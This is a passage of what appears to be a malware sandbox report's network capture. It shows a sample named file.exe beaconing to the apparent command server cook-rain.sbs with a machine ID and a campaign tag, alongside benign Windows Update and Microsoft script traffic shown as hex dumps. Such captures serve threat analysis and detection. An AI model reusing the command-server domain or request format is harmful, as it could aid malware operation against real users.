cfL4;desc="?proto=TCP&rtt=1099&sent=218&recv=609&lost=0&retrans=0&sent_bytes=2829&recv_bytes=570257&delivery_rate=2616079&cwnd=245&unsent_bytes=0&cid=7bcac818ee6e6e25&ts=3784&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49711	188.114.96.3	443	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:48 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-17 03:38:48 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 41 44 30 43 44 37 41 33 35 44 30 32 31 30 42 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=AD0CD7A35D0210B7F7005D7B20127A88
2024-11-17 03:38:49 UTC	999	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lirr64cck23g5afkpbett80p9f; expires=Wed, 12-Mar-2025 21:25:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JQmQC%2FfOWXAf4XgWEFiSJeLQNWI5TWKzrfgjBmxDPBBIHDH5mGTJFLBI86RhjpYZHLeJBIjIh02tDPrxZKn7bSnyXZaxVvXyX6LMl4DSDSs7RSC6gxRmmPO6qSsOQCis"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e3cb0a7cfe43178-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1403&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=2084953&cwnd=242&unsent_bytes=0&cid=3781160f3a38bc31&ts=562&x=0"
2024-11-17 03:38:49 UTC	214	IN	Data Raw: 64 30 0d 0a 74 4d 4b 78 31 38 36 61 4c 32 7a 34 79 57 6c 47 78 32 5a 72 55 33 69 57 43 64 5a 61 7a 54 33 44 58 77 58 69 71 48 57 47 72 78 44 76 75 5a 4f 69 37 4b 41 4e 42 49 79 39 47 58 79 62 53 54 64 38 53 61 34 38 2b 47 6a 38 43 4f 31 75 4e 4e 47 47 52 4c 44 7a 50 39 75 6b 31 34 76 68 2f 6b 6f 4b 31 71 77 52 49 2b 56 4b 53 54 55 4d 74 44 50 6d 64 75 39 59 34 57 55 30 6e 34 51 4f 70 4e 6f 79 6a 75 44 5a 6f 37 72 71 46 54 44 58 6c 55 5a 33 2f 31 4e 46 59 55 6d 6a 4a 2b 64 72 2f 68 50 79 61 56 6e 4e 32 77 48 6a 7a 6e 33 6f 37 63 4f 32 6f 50 35 41 41 64 61 73 45 53 50 6c 53 6b 6b 31 44 4c 51 7a 35 6e 62 76 57 4f 46 6c 4e 4a 2f 31 0d 0a Data Ascii: d0tMKx186aL2z4yWlGx2ZrU3iWCdZazT3DXwXiqHWGrxDvuZOi7KANBIy9GXybSTd8Sa48+Gj8CO1uNNGGRLDzP9uk14vh/koK1qwRI+VKSTUMtDPmdu9Y4WU0n4QOpNoyjuDZo7rqFTDXlUZ3/1NFYUmjJ+dr/hPyaVnN2wHjzn3o7cO2oP5AAdasESPlSkk1DLQz5nbvWOFlNJ/1
2024-11-17 03:38:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49710	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:38:49 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlA34d4DUsMhWbU&MD=uDoZx1Pk HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 03:38:50 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3ef60e2d-c3c6-4c2f-9a1d-9335372e279a MS-RequestId: 21204ea7-6e98-47e1-ae74-0c126bc391fe MS-CV: Gy2tAGltCEW1e2Km.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 03:38:49 GMT Connection: close Content-Length: 24490
2024-11-17 03:38:50 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 03:38:50 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49731	13.107.246.45	443	8128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:06 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 03:39:07 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:39:06 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22978 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 9e73ce7a-701e-005e-676c-382b3f000000 x-ms-version: 2009-09-19 x-azure-ref: 20241117T033906Z-16547b76f7fpdsp9hC1DFW8f50000000017000000000rcm5 Accept-Ranges: bytes
2024-11-17 03:39:07 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-17 03:39:07 UTC	82	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" +
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 Data Ascii: label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:focus::before {\n border: 1px solid "+e["radio-button-hover-border
2024-11-17 03:39:07 UTC	4196	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 29 3a 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 74 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 6c 28 65 29 7d 29 29 7d 2c 65 2e 63 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4d 53 43 43 22 2c 65 Data Ascii: .length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventListener(t,o):e.attachEvent("on"+t,(function(){o.call(e)}))},e.cookieName="MSCC",e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49732	13.107.246.67	443	8128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 03:39:06 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 03:39:07 UTC	868	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 03:39:06 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 8d896b17-401e-00b1-17a3-2ddeca000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241117T033906Z-16547b76f7fr5rfnhC1DFW0am4000000018g0000000055sr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 03:39:07 UTC	15516	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 31 31 29 5d 3d 22 49 50 72 6f 6d 69 73 65 22 29 2c 61 2e 74 6f Data Ascii: &&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(11)]="IPromise"),a.to
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 59 28 65 2c 22 6c 69 73 74 65 6e 65 72 73 22 2c 7b 67 Data Ascii: on(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(e){Y(e,"listeners",{g
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 41 5b 74 65 5d 28 65 29 2c Data Ascii: hComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};function c(){A[te](e),
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4e 6c 28 29 7b 72 65 74 75 72 Data Ascii: fined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return null}function Nl(){retur
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 76 61 72 20 6f 3d 74 68 69 73 2c 63 3d 7b 7d 3b Data Ascii: me failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(a,e){var o=this,c={};
2024-11-17 03:39:07 UTC	16384	IN	Data Raw: 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageTags=function(e,t){var
